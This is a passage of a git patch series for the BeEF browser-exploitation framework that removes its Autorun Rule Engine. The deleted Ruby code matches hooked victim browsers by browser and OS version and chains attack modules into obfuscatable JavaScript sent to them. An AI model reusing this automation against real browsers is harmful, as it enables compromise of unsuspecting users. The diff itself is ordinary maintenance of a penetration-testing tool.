");
- }
- }
-
- AutoRunTab.superclass.constructor.call(this, {
- region: 'center',
- items: [headingContainer, ruleContainer],
- autoScroll: true,
- border: false,
- closable: false
- });
-};
-
-Ext.extend(AutoRunTab, Ext.Panel, {});
\ No newline at end of file
diff --git a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js
index 49e58cb34..13256911d 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js
@@ -38,8 +38,6 @@ MainPanel = function(){
this.welcome_tab = new WelcomeTab;
- this.auto_run_tab = new AutoRunTab;
-
MainPanel.superclass.constructor.call(this, {
id:'main-tabs',
activeTab:0,
@@ -78,15 +76,6 @@ MainPanel = function(){
items:[
this.zombies_grid
]
- },
- {
- id:'autorun-view',
- title:'Auto Run',
- layout:'border',
- hideMode:'offsets',
- items:[
- this.auto_run_tab
- ]
}]
});
From acc0eb5873974a1eb6a311dcb881fd8cba2e9a17 Mon Sep 17 00:00:00 2001
From: kaitoozawa
Date: Sat, 27 Dec 2025 16:12:39 +1000
Subject: [PATCH 04/20] Phase 4: Remove Server-Side Core
---
beef | 5 -
core/bootstrap.rb | 6 -
core/core.rb | 2 -
.../026_remove_autorun_tables.rb | 11 +
core/main/autorun_engine/engine.rb | 589 ------------------
core/main/autorun_engine/parser.rb | 82 ---
core/main/autorun_engine/rule_loader.rb | 220 -------
core/main/handlers/browserdetails.rb | 4 -
core/main/models/execution.rb | 14 -
core/main/models/rule.rb | 16 -
.../main/network_stack/websocket/websocket.rb | 12 -
core/main/rest/handlers/autorun_engine.rb | 157 -----
.../autorun_engine/autorun_engine_spec.rb | 120 ----
13 files changed, 11 insertions(+), 1227 deletions(-)
create mode 100644 core/main/ar-migrations/026_remove_autorun_tables.rb
delete mode 100644 core/main/autorun_engine/engine.rb
delete mode 100644 core/main/autorun_engine/parser.rb
delete mode 100644 core/main/autorun_engine/rule_loader.rb
delete mode 100644 core/main/models/execution.rb
delete mode 100644 core/main/models/rule.rb
delete mode 100644 core/main/rest/handlers/autorun_engine.rb
delete mode 100644 spec/beef/core/main/autorun_engine/autorun_engine_spec.rb
diff --git a/beef b/beef
index 147384898..3fa40ffa6 100755
--- a/beef
+++ b/beef
@@ -266,11 +266,6 @@ BeEF::Core::GeoIp.instance
#
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
-#
-# @note Load any ARE (Autorun Rule Engine) rules scanning the /arerules/enabled directory
-#
-BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
-
#
# @note Start the WebSocket server
#
diff --git a/core/bootstrap.rb b/core/bootstrap.rb
index 4f69dbf37..20dd1a957 100644
--- a/core/bootstrap.rb
+++ b/core/bootstrap.rb
@@ -29,11 +29,6 @@ require 'core/main/network_stack/handlers/raw'
require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
-# @note Include the autorun engine
-require 'core/main/autorun_engine/parser'
-require 'core/main/autorun_engine/engine'
-require 'core/main/autorun_engine/rule_loader'
-
## @note Include helpers
require 'core/module'
require 'core/modules'
@@ -49,7 +44,6 @@ require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server'
-require 'core/main/rest/handlers/autorun_engine'
require 'core/main/rest/api'
## @note Include Websocket
diff --git a/core/core.rb b/core/core.rb
index 53ad3c72f..3e2b6d51c 100644
--- a/core/core.rb
+++ b/core/core.rb
@@ -17,8 +17,6 @@ require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
-require 'core/main/models/rule'
-require 'core/main/models/execution'
require 'core/main/models/legacybrowseruseragents'
# @note Include the constants
diff --git a/core/main/ar-migrations/026_remove_autorun_tables.rb b/core/main/ar-migrations/026_remove_autorun_tables.rb
new file mode 100644
index 000000000..261c4577d
--- /dev/null
+++ b/core/main/ar-migrations/026_remove_autorun_tables.rb
@@ -0,0 +1,11 @@
+class RemoveAutorunTables < ActiveRecord::Migration[6.0]
+ def up
+ drop_table :executions if table_exists?(:executions)
+ drop_table :rules if table_exists?(:rules)
+ end
+
+ def down
+ # Cannot recreate these tables - ARE functionality has been removed
+ raise ActiveRecord::IrreversibleMigration
+ end
+end
diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb
deleted file mode 100644
index d5621dba5..000000000
--- a/core/main/autorun_engine/engine.rb
+++ /dev/null
@@ -1,589 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-module BeEF
- module Core
- module AutorunEngine
- class Engine
- include Singleton
-
- def initialize
- @config = BeEF::Core::Configuration.instance
-
- @result_poll_interval = @config.get('beef.autorun.result_poll_interval')
- @result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
- @continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
-
- @debug_on = @config.get('beef.debug')
-
- @VERSION = ['<', '<=', '==', '>=', '>', 'ALL']
- @VERSION_STR = %w[XP Vista 7]
- end
-
- # Checks if there are any ARE rules to be triggered for the specified hooked browser.
- #
- # Returns an array with rule IDs that matched and should be triggered.
- # if rule_id is specified, checks will be executed only against the specified rule (useful
- # for dynamic triggering of new rulesets ar runtime)
- def find_matching_rules_for_zombie(browser, browser_version, os, os_version)
- rules = BeEF::Core::Models::Rule.all
-
- return if rules.nil?
- return if rules.empty?
-
- # TODO: handle cases where there are multiple ARE rules for the same hooked browser.
- # maybe rules need to have priority or something?
-
- print_info '[ARE] Checking if any defined rules should be triggered on target.'
-
- match_rules = []
- rules.each do |rule|
- next unless zombie_matches_rule?(browser, browser_version, os, os_version, rule)
-
- match_rules.push(rule.id)
- print_more("Hooked browser and OS match rule: #{rule.name}.")
- end
-
- print_more("Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser.")
-
- match_rules
- end
-
- # @return [Boolean]
- # Note: browser version checks are supporting only major versions, ex: C 43, IE 11
- # Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
- def zombie_matches_rule?(browser, browser_version, os, os_version, rule)
- return false if rule.nil?
-
- unless zombie_browser_matches_rule?(browser, browser_version, rule)
- print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : does not match")
- return false
- end
-
- print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : matched")
-
- unless zombie_os_matches_rule?(os, os_version, rule)
- print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): does not match")
- return false
- end
-
- print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): matched")
-
- true
- rescue StandardError => e
- print_error e.message
- print_debug e.backtrace.join("\n")
- end
-
- # @return [Boolean]
- # TODO: This should be updated to support matching multiple OS (like the browser check below)
- def zombie_os_matches_rule?(os, os_version, rule)
- return false if rule.nil?
-
- return false unless rule.os == 'ALL' || os == rule.os
-
- # check if the OS versions match
- os_ver_rule_cond = rule.os_version.split(' ').first
-
- return true if os_ver_rule_cond == 'ALL'
-
- return false unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
-
- os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
- os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
-
- if os_ver_rule_maj == 'XP'
- os_ver_rule_maj = 5
- os_ver_rule_min = 0
- elsif os_ver_rule_maj == 'Vista'
- os_ver_rule_maj = 6
- os_ver_rule_min = 0
- elsif os_ver_rule_maj == '7'
- os_ver_rule_maj = 6
- os_ver_rule_min = 0
- end
-
- # Most of the times Linux/*BSD OS doesn't return any version
- # (TODO: improve OS detection on these operating systems)
- if !os_version.nil? && !@VERSION_STR.include?(os_version)
- os_ver_hook_maj = os_version.split('.').first
- os_ver_hook_min = os_version.split('.').last
-
- # the following assignments to 0 are need for later checks like:
- # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
- os_ver_hook_min = 0 if os_version.split('.').length == 1
- os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
- else
- # XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
- # TODO: BUG: This will fail horribly if the target OS is Windows 7 or newer,
- # as no version normalization is performed.
- # TODO: Update this for every OS since Vista/7 ...
- if os_version == 'XP'
- os_ver_hook_maj = 5
- os_ver_hook_min = 0
- elsif os_version == 'Vista'
- os_ver_hook_maj = 6
- os_ver_hook_min = 0
- elsif os_version == '7'
- os_ver_hook_maj = 6
- os_ver_hook_min = 0
- end
- end
-
- if !os_version.nil? || rule.os_version != 'ALL'
- os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
- os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
- return false unless (os_major_version_match && os_minor_version_match)
- end
-
- true
- rescue StandardError => e
- print_error e.message
- print_debug e.backtrace.join("\n")
- end
-
- # @return [Boolean]
- def zombie_browser_matches_rule?(browser, browser_version, rule)
- return false if rule.nil?
-
- b_ver_cond = rule.browser_version.split(' ').first
-
- return false unless @VERSION.include?(b_ver_cond)
-
- b_ver = rule.browser_version.split(' ').last
-
- return false unless BeEF::Filters.is_valid_browserversion?(b_ver)
-
- # check if rule specifies multiple browsers
- if rule.browser =~ /\A[A-Z]+\Z/
- return false unless rule.browser == 'ALL' || browser == rule.browser
-
- # check if the browser version matches
- browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
- return false unless browser_version_match
- else
- browser_match = false
- rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
- if b == browser || b == 'ALL'
- browser_match = true
- break
- end
- end
- return false unless browser_match
- end
-
- true
- rescue StandardError => e
- print_error e.message
- print_debug e.backtrace.join("\n")
- end
-
- # Check if the hooked browser type/version and OS type/version match any Rule-sets
- # stored in the BeEF::Core::Models::Rule database table
- # If one or more Rule-sets do match, trigger the module chain specified
- def find_and_run_all_matching_rules_for_zombie(hb_id)
- return if hb_id.nil?
-
- hb_details = BeEF::Core::Models::BrowserDetails
- browser_name = hb_details.get(hb_id, 'browser.name')
- browser_version = hb_details.get(hb_id, 'browser.version')
- os_name = hb_details.get(hb_id, 'host.os.name')
- os_version = hb_details.get(hb_id, 'host.os.version')
-
- are = BeEF::Core::AutorunEngine::Engine.instance
- rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version)
-
- return if rules.nil?
- return if rules.empty?
-
- are.run_rules_on_zombie(rules, hb_id)
- end
-
- # Run the specified rule IDs on the specified zombie ID
- # only if the rules match.
- def run_matching_rules_on_zombie(rule_ids, hb_id)
- return if rule_ids.nil?
- return if hb_id.nil?
-
- rule_ids = [rule_ids.to_i] if rule_ids.is_a?(String)
-
- hb_details = BeEF::Core::Models::BrowserDetails
- browser_name = hb_details.get(hb_id, 'browser.name')
- browser_version = hb_details.get(hb_id, 'browser.version')
- os_name = hb_details.get(hb_id, 'host.os.name')
- os_version = hb_details.get(hb_id, 'host.os.version')
-
- are = BeEF::Core::AutorunEngine::Engine.instance
- rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version)
-
- return if rules.nil?
- return if rules.empty?
-
- new_rules = []
- rules.each do |rule|
- new_rules << rule if rule_ids.include?(rule)
- end
-
- return if new_rules.empty?
-
- are.run_rules_on_zombie(new_rules, hb_id)
- end
-
- # Run the specified rule IDs on the specified zombie ID
- # regardless of whether the rules match.
- # Prepare and return the JavaScript of the modules to be sent.
- # It also updates the rules ARE execution table with timings
- def run_rules_on_zombie(rule_ids, hb_id)
- return if rule_ids.nil?
- return if hb_id.nil?
-
- hb = BeEF::HBManager.get_by_id(hb_id)
- hb_session = hb.session
-
- rule_ids = [rule_ids] if rule_ids.is_a?(Integer)
-
- rule_ids.each do |rule_id|
- rule = BeEF::Core::Models::Rule.find(rule_id)
- modules = JSON.parse(rule.modules)
-
- execution_order = JSON.parse(rule.execution_order)
- execution_delay = JSON.parse(rule.execution_delay)
- chain_mode = rule.chain_mode
-
- unless %w[sequential nested-forward].include?(chain_mode)
- print_error("[ARE] Invalid chain mode '#{chain_mode}' for rule")
- return
- end
-
- mods_bodies = []
- mods_codes = []
- mods_conditions = []
-
- # this ensures that if both rule A and rule B call the same module in sequential mode,
- # execution will be correct preventing wrapper functions to be called with equal names.
- rule_token = SecureRandom.hex(5)
-
- modules.each do |cmd_mod|
- mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
- options = []
- replace_input = false
- cmd_mod['options'].each do |k, v|
- options.push({ 'name' => k, 'value' => v })
- replace_input = true if v == '<>'
- end
-
- command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
-
- mods_bodies.push(command_body)
- mods_codes.push(cmd_mod['code'])
- mods_conditions.push(cmd_mod['condition'])
- end
-
- # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
- case chain_mode
- when 'nested-forward'
- wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
- when 'sequential'
- wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
- else
- # we should never get here. chain mode is validated earlier.
- print_error("[ARE] Invalid chain mode '#{chain_mode}'")
- next
- end
-
- print_more "Triggering rules #{rule_ids} on HB #{hb_id}"
-
- are_exec = BeEF::Core::Models::Execution.new(
- session_id: hb_session,
- mod_count: modules.length,
- mod_successful: 0,
- rule_token: rule_token,
- mod_body: wrapper,
- is_sent: false,
- rule_id: rule_id
- )
- are_exec.save!
- end
- end
-
- private
-
- # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
- # Launch order is also taken care of.
- # - sequential chain with delays (setTimeout stuff)
- # ex.: setTimeout(module_one(), 0);
- # setTimeout(module_two(), 2000);
- # setTimeout(module_three(), 3000);
- # Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
- # what their status will be (for instance, a bunch of XSRFs on a set of targets)
- def prepare_sequential_wrapper(mods, order, delay, rule_token)
- wrapper = ''
- delayed_exec = ''
- c = 0
- while c < mods.length
- delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
- mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
- wrapped_mod = "#{mod_body}\n"
- wrapper += wrapped_mod
- c += 1
- end
- wrapper += delayed_exec
- print_more "Final Modules Wrapper:\n #{wrapper}" if @debug_on
- wrapper
- end
-
- # Wraps module bodies in their own function, then start to execute them from the first, polling for
- # command execution status/results (with configurable polling interval and timeout).
- # Launch order is also taken care of.
- # - nested forward chain with status checks (setInterval to wait for command to return from async operations)
- # ex.: module_one()
- # if condition
- # module_two(module_one_output)
- # if condition
- # module_three(module_two_output)
- #
- # Note: command result status is checked, and you can properly chain input into output, having also
- # the flexibility of slightly mangling it to adapt to module needs.
- # Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
- # if the first once return with success. Also, the second module has the possibility of mangling first
- # module output and use it as input for some of its module inputs.
- def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
- wrapper = ''
- delayed_exec = ''
- delayed_exec_footers = []
- c = 0
-
- while c < mods.length
- i = if mods.length == 1
- c
- else
- c + 1
- end
-
- code_snippet = ''
- mod_input = ''
- if code[c] != 'null' && code[c] != ''
- code_snippet = code[c]
- mod_input = 'mod_input'
- end
-
- conditions[i] = true if conditions[i].nil? || conditions[i] == ''
-
- if c == 0
- # this is the first wrapper to prepare
- delayed_exec += %|
- function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
- #{mods[order[c]][:mod_name]}_#{rule_token}();
-
- // TODO add timeout to prevent infinite loops
- function isResReady(mod_result, start){
- if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
- // loop
- }else{
- // module return status/data is now available
- clearInterval(resultReady);
- if (mod_result === null && #{@continue_after_timeout}){
- var mod_result = [];
- mod_result[0] = 1; //unknown status
- mod_result[1] = '' //empty result
- }
- var status = mod_result[0];
- if(#{conditions[i]}){
- #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;
- #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
- |
-
- delayed_exec_footer = %|
- }
- }
- }
- var start = (new Date()).getTime();
- var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});
- }
- #{mods[order[c]][:mod_name]}_#{rule_token}_f();
- |
-
- delayed_exec_footers.push(delayed_exec_footer)
-
- elsif c < mods.length - 1
- code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
-
- # this is one of the wrappers in the middle of the chain
- delayed_exec += %|
- function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
- if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
- #{code_snippet}
- #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});
- function isResReady(mod_result, start){
- if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
- // loop
- }else{
- // module return status/data is now available
- clearInterval(resultReady);
- if (mod_result === null && #{@continue_after_timeout}){
- var mod_result = [];
- mod_result[0] = 1; //unknown status
- mod_result[1] = '' //empty result
- }
- var status = mod_result[0];
- if(#{conditions[i]}){
- #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;
- #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
- |
-
- delayed_exec_footer = %|
- }
- }
- }
- var start = (new Date()).getTime();
- var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});
- }
- }
- #{mods[order[c]][:mod_name]}_#{rule_token}_f();
- |
-
- delayed_exec_footers.push(delayed_exec_footer)
- else
- code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
- # this is the last wrapper to prepare
- delayed_exec += %|
- function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
- if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
- #{code_snippet}
- #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});
- }
- }
- #{mods[order[c]][:mod_name]}_#{rule_token}_f();
- |
- end
- mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
- wrapped_mod = "#{mod_body}\n"
- wrapper += wrapped_mod
- c += 1
- end
- wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
- print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
- wrapper
- end
-
- # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
- # and store it in the database.
- # Returns the raw module body after template substitution.
- def prepare_command(mod, options, hb_id, replace_input, rule_token)
- config = BeEF::Core::Configuration.instance
- begin
- command = BeEF::Core::Models::Command.new(
- data: options.to_json,
- hooked_browser_id: hb_id,
- command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
- creationdate: Time.new.to_i,
- instructions_sent: true
- )
- command.save!
-
- command_module = BeEF::Core::Models::CommandModule.find(mod.id)
- if command_module.path.match(/^Dynamic/)
- # metasploit and similar integrations
- command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
- else
- # normal modules always here
- key = BeEF::Module.get_key_by_database_id(mod.id)
- command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
- end
-
- hb = BeEF::HBManager.get_by_id(hb_id)
- hb_session = hb.session
- command_module.command_id = command.id
- command_module.session_id = hb_session
- command_module.build_datastore(command.data)
- command_module.pre_send
-
- build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
-
- if config.get('beef.extension.evasion.enable')
- evasion = BeEF::Extension::Evasion::Evasion.instance
- command_body = evasion.obfuscate(command_module.output) + "\n\n"
- else
- command_body = command_module.output + "\n\n"
- end
-
- # @note prints the event to the console
- print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
-
- mod_input = replace_input ? 'mod_input' : ''
- result = %|
- var #{mod.name}_#{rule_token} = function(#{mod_input}){
- #{clean_command_body(command_body, replace_input)}
- };
- var #{mod.name}_#{rule_token}_can_exec = false;
- var #{mod.name}_#{rule_token}_mod_output = null;
- |
-
- { mod_name: mod.name, mod_body: result }
- rescue StandardError => e
- print_error e.message
- print_debug e.backtrace.join("\n")
- end
- end
-
- # Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
- # using the default behavior of adding the module to an array and execute it at polling time.
- #
- # Also replace <> with mod_input variable if needed for chaining module output/input
- def clean_command_body(command_body, replace_input)
- cmd_body = command_body.lines.map(&:chomp)
- wrapper_start_index, wrapper_end_index = nil
-
- cmd_body.each_with_index do |line, index|
- if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
- wrapper_start_index = index
- break
- end
- end
- print_error '[ARE] Could not find module start index' if wrapper_start_index.nil?
-
- cmd_body.reverse.each_with_index do |line, index|
- if line.include?('});')
- wrapper_end_index = index
- break
- end
- end
- print_error '[ARE] Could not find module end index' if wrapper_end_index.nil?
-
- cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n")
-
- print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('')
-
- # check if <> should be replaced with a variable name (depending if the variable is a string or number)
- return cleaned_cmd_body unless replace_input
-
- if cleaned_cmd_body.include?('"<>"')
- cleaned_cmd_body.gsub('"<>"', 'mod_input')
- elsif cleaned_cmd_body.include?('\'<>\'')
- cleaned_cmd_body.gsub('\'<>\'', 'mod_input')
- elsif cleaned_cmd_body.include?('<>')
- cleaned_cmd_body.gsub('\'<>\'', 'mod_input')
- else
- cleaned_cmd_body
- end
- rescue StandardError => e
- print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}"
- end
-
- # compare versions
- def compare_versions(ver_a, cond, ver_b)
- return true if cond == 'ALL'
- return true if cond == '==' && ver_a == ver_b
- return true if cond == '<=' && ver_a <= ver_b
- return true if cond == '<' && ver_a < ver_b
- return true if cond == '>=' && ver_a >= ver_b
- return true if cond == '>' && ver_a > ver_b
-
- false
- end
- end
- end
- end
-end
diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb
deleted file mode 100644
index 0b02fa9ae..000000000
--- a/core/main/autorun_engine/parser.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-module BeEF
- module Core
- module AutorunEngine
- class Parser
- include Singleton
-
- def initialize
- @config = BeEF::Core::Configuration.instance
- end
-
- BROWSER = %w[FF C IE S O ALL]
- OS = %w[Linux Windows OSX Android iOS BlackBerry ALL]
- VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP']
- CHAIN_MODE = %w[sequential nested-forward]
- MAX_VER_LEN = 15
-
- def parse(name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode)
- raise ArgumentError, "Invalid rule name: #{name}" unless BeEF::Filters.is_non_empty_string?(name)
- raise ArgumentError, "Invalid author name: #{author}" unless BeEF::Filters.is_non_empty_string?(author)
- raise ArgumentError, "Invalid chain_mode definition: #{chain_mode}" unless CHAIN_MODE.include?(chain_mode)
- raise ArgumentError, "Invalid os definition: #{os}" unless OS.include?(os)
-
- unless modules.size == execution_delay.size
- raise ArgumentError, "Number of execution_delay values (#{execution_delay.size}) must be consistent with number of modules (#{modules.size})"
- end
- execution_delay.each { |delay| raise TypeError, "Invalid execution_delay value: #{delay}. Values must be Integers." unless delay.is_a?(Integer) }
-
- unless modules.size == execution_order.size
- raise ArgumentError, "Number of execution_order values (#{execution_order.size}) must be consistent with number of modules (#{modules.size})"
- end
- execution_order.each { |order| raise TypeError, "Invalid execution_order value: #{order}. Values must be Integers." unless order.is_a?(Integer) }
-
- # if multiple browsers were specified, check each browser
- if browser.is_a?(Array)
- browser.each do |b|
- raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(b)
- end
- # else, if only one browser was specified, check browser and browser version
- else
- raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(browser)
-
- if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) &&
- BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN)
- raise ArgumentError, "Invalid browser_version definition: #{browser_version}"
- end
- end
-
- if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) &&
- BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN)
- return ArgumentError, "Invalid os_version definition: #{os_version}"
- end
-
- # check if module names, conditions and options are ok
- modules.each do |cmd_mod|
- mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
-
- raise "The specified module name (#{cmd_mod['name']}) does not exist" if mod.nil?
-
- modk = BeEF::Module.get_key_by_database_id(mod.id)
- mod_options = BeEF::Module.get_options(modk)
-
- opt_count = 0
- mod_options.each do |opt|
- if opt['name'] != cmd_mod['options'].keys[opt_count]
- raise ArgumentError, "The specified option (#{cmd_mod['options'].keys[opt_count]}) for module (#{cmd_mod['name']}) was not specified"
- end
-
- opt_count += 1
- end
- end
-
- true
- end
- end
- end
- end
-end
diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb
deleted file mode 100644
index 3a78f9cb0..000000000
--- a/core/main/autorun_engine/rule_loader.rb
+++ /dev/null
@@ -1,220 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-module BeEF
- module Core
- module AutorunEngine
- class RuleLoader
- include Singleton
-
- def initialize
- @config = BeEF::Core::Configuration.instance
- @debug_on = @config.get('beef.debug')
- end
-
- # Load an ARE rule set
- # @param [Hash] ARE ruleset as JSON
- # @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String}
- def load_rule_json(data)
- name = data['name'] || ''
- author = data['author'] || ''
- browser = data['browser'] || 'ALL'
- browser_version = data['browser_version'] || 'ALL'
- os = data['os'] || 'ALL'
- os_version = data['os_version'] || 'ALL'
- modules = data['modules']
- execution_order = data['execution_order']
- execution_delay = data['execution_delay']
- chain_mode = data['chain_mode'] || 'sequential'
-
- begin
- BeEF::Core::AutorunEngine::Parser.instance.parse(
- name,
- author,
- browser,
- browser_version,
- os,
- os_version,
- modules,
- execution_order,
- execution_delay,
- chain_mode
- )
- rescue => e
- print_error("[ARE] Error loading ruleset (#{name}): #{e.message}")
- return { 'success' => false, 'error' => e.message }
- end
-
- existing_rule = BeEF::Core::Models::Rule.where(
- name: name,
- author: author,
- browser: browser,
- browser_version: browser_version,
- os: os,
- os_version: os_version,
- modules: modules.to_json,
- execution_order: execution_order.to_s,
- execution_delay: execution_delay.to_s,
- chain_mode: chain_mode
- ).first
-
- unless existing_rule.nil?
- msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})"
- print_info("[ARE] Skipping ruleset (#{name}): #{msg}")
- return { 'success' => false, 'error' => msg }
- end
-
- are_rule = BeEF::Core::Models::Rule.new(
- name: name,
- author: author,
- browser: browser,
- browser_version: browser_version,
- os: os,
- os_version: os_version,
- modules: modules.to_json,
- execution_order: execution_order.to_s,
- execution_delay: execution_delay.to_s,
- chain_mode: chain_mode
- )
- are_rule.save
-
- print_info("[ARE] Ruleset (#{name}) parsed and stored successfully.")
-
- if @debug_on
- print_more "Target Browser: #{browser} (#{browser_version})"
- print_more "Target OS: #{os} (#{os_version})"
- print_more 'Modules to run:'
- modules.each do |mod|
- print_more "(*) Name: #{mod['name']}"
- print_more "(*) Condition: #{mod['condition']}"
- print_more "(*) Code: #{mod['code']}"
- print_more '(*) Options:'
- mod['options'].each do |key, value|
- print_more "\t#{key}: (#{value})"
- end
- end
- print_more "Exec order: #{execution_order}"
- print_more "Exec delay: #{exec_delay}"
- end
-
- { 'success' => true, 'rule_id' => are_rule.id }
- rescue TypeError, ArgumentError => e
- print_error("[ARE] Failed to load ruleset (#{name}): #{e.message}")
- { 'success' => false, 'error' => e.message }
- end
-
- # Update an ARE rule set.
- # @param [Hash] ARE rule ID.
- # @param [Hash] ARE ruleset as JSON
- # @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String}
- def update_rule_json(id, data)
- # Quite similar in implementation to load_rule_json. Might benefit from a refactor.
- name = data['name'] || ''
- author = data['author'] || ''
- browser = data['browser'] || 'ALL'
- browser_version = data['browser_version'] || 'ALL'
- os = data['os'] || 'ALL'
- os_version = data['os_version'] || 'ALL'
- modules = data['modules']
- execution_order = data['execution_order']
- execution_delay = data['execution_delay']
- chain_mode = data['chain_mode'] || 'sequential'
-
- begin
- BeEF::Core::AutorunEngine::Parser.instance.parse(
- name,
- author,
- browser,
- browser_version,
- os,
- os_version,
- modules,
- execution_order,
- execution_delay,
- chain_mode
- )
